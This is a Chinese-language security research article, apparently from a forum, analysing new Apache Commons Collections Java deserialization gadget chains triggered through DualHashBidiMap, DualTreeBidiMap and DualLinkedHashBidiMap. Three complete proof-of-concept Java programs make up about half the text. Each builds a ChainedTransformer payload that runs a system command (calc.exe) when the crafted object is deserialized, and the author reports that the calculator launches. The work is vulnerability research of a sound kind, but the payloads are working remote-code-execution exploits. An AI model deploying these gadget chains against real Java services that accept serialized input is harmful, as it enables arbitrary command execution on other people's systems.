分析使用DualHashBidiMap、DualTreeBidiMap、DualLinkedHashBidiMap类作为触发点来构造新的Commons Collections利用链
0x0前言
CC链即Apache Commons Collections Java反序列化利用链的简称,最近把CC1-CC12利用链都学习分析了一遍,收获颇多,想找找还有没有新的利用链,看到 Java反序列化之与JDK版本无关的利用链挖掘 这篇文章讲解了使用DualHashBidiMap类来构造新利用链,文章还提到使用DualTreeBidiMap类也可以,自己来分析下
0x1分析
DualHashBidiMap
首先来看看是如何使用DualHashBidiMap类来构造新利用链的,测试POC如下:
import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}),
new ConstantTransformer(1)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "111");
Map<String, Object> expMap = new HashMap<String, Object>();
expMap.put("222", tiedMapEntry);
Class clazz = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor constructor = clazz.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
constructor.setAccessible(true);
Object dualHashBidiMap = constructor.newInstance(expMap, null, null);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(dualHashBidiMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
利用链的触发点是在 org.apache.commons.collections.bidimap.DualHashBidiMap 类的readObject方法
在readObject方法中调用了putAll方法,传入的map参数是通过反序列化得到的,看下writeObject方法,在方法中是将this.maps[0]
进行了序列化,所以这里的map参数就是this.maps[0]
的值
我们来看看this.maps[0]
是从哪来的,查看DualHashBidiMap类和父类的构造方法可以知道,this.maps[0]
是通过传入的normalMap参数进行赋值,是可控的
搞清楚了map参数的来源,继续跟进下putAll方法
putAll方法定义在DualHashBidiMap类继承的抽象父类org.apache.commons.collections.bidimap.AbstractDualBidiMap
中
在putAll方法中遍历获取传入的map中的元素,调用put方法,将key和value作为参数传入,继续跟进put方法
在put方法中首先使用containsKey方法分别判断了传入的key和value是否是this.maps[0]
和this.maps[1]
中元素的键,在前面readObject方法中可以看到this.maps[0]
和this.maps[1]
是被赋值为空的HashMap对象,所以这里调用的是HashMap对象的containsKey方法,跟进HashMap的containsKey方法
在containsKey方法中会调用hash(key)
方法计算传入的key的hash,我们知道在hash方法中会调用key.hashCode()
方法,而这里的key参数是可控的,熟悉CC6利用链的朋友应该知道,我们可以控制这里的key为TiedMapEntry对象,从而就可以完成后半本部分的利用链构造。
DualTreeBidiMap
接下来分析使用DualTreeBidiMap类来构造新利用链,这条链需要在Commons Collections 4.0版本下利用,原因会在后面说明
在pom.xml文件中添加Commons Collections 4依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
触发点是在org.apache.commons.collections4.bidimap.DualTreeBidiMap类的readObject方法,同样是调用了putAll方法,并且DualTreeBidiMap类同样是继承自AbstractDualBidiMap抽象类
所以直接来看put方法的定义,这里的利用点不再是containsKey方法,因为在readObject方法中this.normalMap
和this.reverseMap
是被赋值为空的TreeMap对象,所以无法再利用,不过在下面调用了this.normalMap
和this.reverseMap
对象的put方法,也就是TreeMap的put方法
我们知道在TreeMap的put方法中会调用compare方法
而在compare方法中又会调用成员变量comparator的compare方法,熟悉CC2、CC8利用链的朋友应该知道,如果能控制这里的comparator为TransformingComparator对象,就可以完成后半部分利用链的构造,因为用到了TransformingComparator类,而TransformingComparator类在Commons Collections 4.0版本下实现了Serializable接口,所以该利用链在Commons Collections 4.0版本下才可利用
我们来看看这里的comparator是来自哪里,查看前面DualTreeBidiMap类的readObject方法就可以知道,这里的comparator是来自DualTreeBidiMap对象的成员变量comparator,是实例化TreeMap对象时传入的
而DualTreeBidiMap对象的成员变量comparator在构造方法中是通过传入的keyComparator参数进行赋值,所以是可控的
分析完利用链,可以构造如下的测试POC:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bidimap.DualTreeBidiMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
public class Demo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}),
new ConstantTransformer(1)
};
Transformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(comparator, comparator);
dualTreeBidiMap.put("demo", "demo");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(dualTreeBidiMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
注意在代码中调用了DualTreeBidiMap对象的put方法添加元素,是因为在putAll方法中会循环遍历map中的元素,如果map中元素为空,就不会进入到while循环中执行,也就不会调用put方法了
另外为了避免在调用put方法时就直接触发利用链,执行命令,所以在put方法之后利用反射修改了之前的ChainedTransformer对象的iTransformers属性
最后运行下,可以看到成功弹出了计算器
DualLinkedHashBidiMap
在分析DualTreeBidiMap的过程中,发现Commons Collections 4.0版本中新增了一个类org.apache.commons.collections4.bidimap.DualLinkedHashBidiMap
同样可以作为触发点来构造利用链,构造如下测试POC:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bidimap.DualLinkedHashBidiMap;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}),
new ConstantTransformer(1)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
LazyMap lazyMap = LazyMap.lazyMap(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
Map expMap = new HashMap();
expMap.put("222", tiedMapEntry);
DualLinkedHashBidiMap dualLinkedHashBidiMap = new DualLinkedHashBidiMap();
Field field1 = dualLinkedHashBidiMap.getClass().getSuperclass().getDeclaredField("normalMap");
field1.setAccessible(true);
field1.set(dualLinkedHashBidiMap, expMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(dualLinkedHashBidiMap);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
注意在Commons Collections 4.0版本中LazyMap是存在变化的,不再通过decorate方法返回实例化对象,而是通过调用静态方法lazyMap返回实例化对象
0x2参考
0x3总结
本次分析了DualHashBidiMap、DualTreeBidiMap、DualLinkedHashBidiMap类作为触发点来构造新的利用链,分析完所有的CC链就可以知道这些链是类似的,将各种可利用的节点通过不同的组合成了这些利用链,所以发现新的可利用节点就可以组合出n多利用链了。
- 本文作者: 好家伙
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1233
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!